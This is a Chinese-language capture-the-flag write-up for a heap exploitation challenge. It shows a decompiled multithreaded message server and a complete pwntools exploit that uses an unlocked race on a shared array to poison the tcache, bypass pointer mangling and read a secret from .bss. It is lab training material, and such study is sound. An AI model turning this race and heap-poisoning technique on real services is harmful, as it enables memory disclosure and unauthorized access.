前言#

盲猜这章是 FSOP 综合利用，但是看到第一题就傻眼了。预知后事如何，请看 wp（

Level 1#

Information#

Category: Pwn

Description#

Create and use arbitrary read primitives to read from the .bss.

Write-up#

本来以为这章顶多就是 Heap + FSOP 综合利用，但是没想到是 Race Conditions + Heap + FSOP……没怎么做过 Race Condition 的我直接人傻了（

但是我又不想为此先去把 Race Conditions 那章做完，那咋办？忍了呗……相信自己的学习能力~~/自信~~

~~敲黑板，像这样详细的 wp 我大概只会写这一次，后面的题就简单说思路，不细写了。~~

首先是下面这个好像很熟悉实则不然的多线程服务器，不讲了（

不记得的去看我的笔记复习吧～~~其实我一开始也忘差不多了（bushi~~

直接跟进到核心函数：

1
int challenge()
2
{
3
  int result; // eax
4
  const char *v1; // rax
5
  int v2; // ebx
6
  char *s1_1; // rax
7
  int v4; // [rsp+2Ch] [rbp-424h] BYREF
8
  char s1[1032]; // [rsp+30h] [rbp-420h] BYREF
9
  unsigned __int64 v6; // [rsp+438h] [rbp-18h]
10

11
  v6 = __readfsqword(0x28u);
12
  fwrite("Welcome to the message server!\n", 1u, 0x1Fu, (FILE *)__readfsqword(0xFFFFFFF8));
13
  fwrite("Commands: malloc/free/scanf/printf/send_flag/quit.\n", 1u, 0x33u, (FILE *)__readfsqword(0xFFFFFFF8));
14
  while ( 1 )
15
  {
16
    result = __isoc99_fscanf(__readfsqword(0xFFFFFFF0), "%1024s", s1);
17
    if ( result == -1 )
18
      break;
19
    if ( !strcmp(s1, "printf") )
20
    {
21
      result = __isoc99_fscanf(__readfsqword(0xFFFFFFF0), "%d", &v4);
22
      if ( result == -1 )
23
        return result;
24
      v1 = stored[v4] ? (const char *)*((_QWORD *)&messages + v4) : "NONE";
25
      result = fprintf((FILE *)__readfsqword(0xFFFFFFF8), "MESSAGE: %s\n", v1);
26
      if ( result < 0 )
27
        return result;
28
    }
29
    else if ( !strcmp(s1, "malloc") )
30
    {
31
      result = __isoc99_fscanf(__readfsqword(0xFFFFFFF0), "%d", &v4);
32
      if ( result == -1 )
33
        return result;
34
      if ( !stored[v4] )
35
      {
36
        v2 = v4;
37
        *((_QWORD *)&messages + v2) = malloc(0x400u);
38
      }
39
      stored[v4] = 1;
40
    }
41
    else if ( !strcmp(s1, "scanf") )
42
    {
43
      result = __isoc99_fscanf(__readfsqword(0xFFFFFFF0), "%d", &v4);
44
      if ( result == -1 )
45
        return result;
46
      if ( stored[v4] )
47
        s1_1 = (char *)*((_QWORD *)&messages + v4);
48
      else
49
        s1_1 = s1;
50
      __isoc99_fscanf(__readfsqword(0xFFFFFFF0), "%1024s", s1_1);
51
    }
52
    else if ( !strcmp(s1, "free") )
53
    {
54
      result = __isoc99_fscanf(__readfsqword(0xFFFFFFF0), "%d", &v4);
55
      if ( result == -1 )
56
        return result;
57
      if ( stored[v4] )
58
        free(*((void **)&messages + v4));
59
      stored[v4] = 0;
60
    }
61
    else if ( !strcmp(s1, "send_flag") )
62
    {
63
      fwrite("Secret: ", 1u, 8u, (FILE *)__readfsqword(0xFFFFFFF8));
64
      __isoc99_fscanf(__readfsqword(0xFFFFFFF0), "%1024s", s1);
65
      if ( (unsigned __int8)secret_correct(s1) )
66
      {
67
        fwrite("Authorized!\n", 1u, 0xCu, (FILE *)__readfsqword(0xFFFFFFF8));
68
        win();
69
      }
70
      else
71
      {
72
        fwrite("Not authorized!\n", 1u, 0x10u, (FILE *)__readfsqword(0xFFFFFFF8));
73
      }
74
    }
75
    else
76
    {
77
      result = strcmp(s1, "quit");
78
      if ( !result )
79
        return result;
80
      fwrite("Unrecognized choice!\n", 1u, 0x15u, (FILE *)__readfsqword(0xFFFFFFF8));
81
    }
82
  }
83
  return result;
84
}

咋一看还挺安全，没有溢出，没有 UAF，好像无懈可击的鸭子。

~~内心 OS: wth 第一题就这样恶心我！？那还学个屁，埋了吧（~~

好吧，稍微用心想想的话，其实还是有很大的问题的……注意，这是一个多线程服务器，允许我们创建无限的连接进行交互，但是程序在操作 stored 数组的时候并没有为其加锁，那那那，na 这不就存在一个潜在的 race condition 吗？

其实我也不是完全不懂 race condition 的 xD，同样，忘记的可以看我笔记。

~~OK, 讲完了/逃 bro 现在凌晨三点，实在是不想写了，各位师傅还是直接看 exp 吧去感悟吧，反正像这种菜鸟题也没人看（~~

Exploit#

1
#!/usr/bin/env python3
2

3
import argparse
4

5
from pwn import (
6
    ELF,
7
    context,
8
    flat,
9
    os,
10
    process,
11
    raw_input,
12
    remote,
13
)
14

15
parser = argparse.ArgumentParser()
16
parser.add_argument("-L", action="store_true")
17
parser.add_argument("-T", "--threads", type=int, default=None, help="thread count")
18
args = parser.parse_args()
19

20

21
FILE = "/challenge/babyprime_level1.0"
22
HOST, PORT = "localhost", 1337
23

24
context(log_level="debug", binary=FILE, terminal="kitty")
25

26
elf = context.binary
27
libc = elf.libc
28

29

30
def printf(tid, idx):
31
    thread[tid].sendline(f"printf {idx}".encode())
32

33

34
def malloc(tid, idx):
35
    thread[tid].sendline(f"malloc {idx}".encode())
36

37

38
def scanf(tid, idx, content):
39
    thread[tid].sendline(f"scanf {idx} {content}".encode())
40

41

42
def free(tid, idx):
43
    thread[tid].sendline(f"free {idx}".encode())
44

45

46
def send_flag(tid, secret):
47
    thread[tid].sendline(b"send_flag")
48
    thread[tid].sendlineafter(b"Secret: ", secret)
49

50

51
def quit(tid):
52
    thread[tid].sendline(b"quit")
53

54

55
def arbitrary_read(addr):
56
    while True:
57
        thread[0].send((b"malloc 0 free 0\n") * 10000)
58
        if os.fork() == 0:
59
            thread[1].send((b"scanf 0" + flat(addr) + b"\n") * 10000)
60
            os.kill(os.getpid(), 9)
61
        os.wait()
62

63
        malloc(0, 0)
64
        printf(0, 0)
65
        thread[0].recvuntil(b"MESSAGE: ")
66
        poisoned = int.from_bytes(thread[0].recvline().strip(), "little")
67

68
        if flat(poisoned) == flat(addr):
69
            break
70

71
    malloc(0, 1)
72
    printf(0, 1)
73

74
    thread[0].recvuntil(b"MESSAGE: ")
75
    return thread[0].recvline().strip()
76

77

78
def mangle(pos, ptr, shifted=1):
79
    if shifted:
80
        return pos ^ ptr
81
    return (pos >> 12) ^ ptr
82

83

84
def demangle(pos, ptr, shifted=1):
85
    if shifted:
86
        return mangle(pos, ptr)
87
    return mangle(pos, ptr, 0)
88

89

90
def launch():
91
    global target, thread
92

93
    if args.L and args.threads is not None:
94
        raise ValueError("Options -L and -T cannot be used together.")
95

96
    if args.L:
97
        target = process(FILE)
98
    elif args.threads:
99
        if args.threads <= 0:
100
            raise ValueError("Thread count must be positive.")
101
        process(FILE)
102

103
        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
104
    else:
105
        target = remote(HOST, PORT, ssl=True)
106

107

108
def main():
109
    launch()
110

111
    malloc(0, 0)
112
    malloc(0, 1)
113
    free(0, 1)
114
    free(0, 0)
115
    malloc(0, 0)
116
    malloc(0, 1)
117

118
    printf(0, 0)
119
    thread[0].recvuntil(b"MESSAGE: ")
120
    heap = int.from_bytes(thread[0].recvline().strip(), "little")
121

122
    printf(0, 1)
123
    thread[0].recvuntil(b"MESSAGE: ")
124
    pos = int.from_bytes(thread[0].recvline().strip(), "little")
125
    heap = demangle(heap, pos)
126

127
    thread[0].success(f"pos: {hex(pos)}")
128
    thread[0].success(f"heap: {hex(heap)}")
129

130
    malloc(0, 0)
131
    malloc(0, 1)
132
    free(0, 1)
133
    free(0, 0)
134

135
    raw_input("DEBUG")
136
    secret = 0x4054C0
137
    secret = arbitrary_read(mangle(pos - 1, secret))
138

139
    send_flag(0, secret)
140
    quit(0)
141
    quit(1)
142

143
    thread[0].interactive()
144

145

146
if __name__ == "__main__":
147
    main()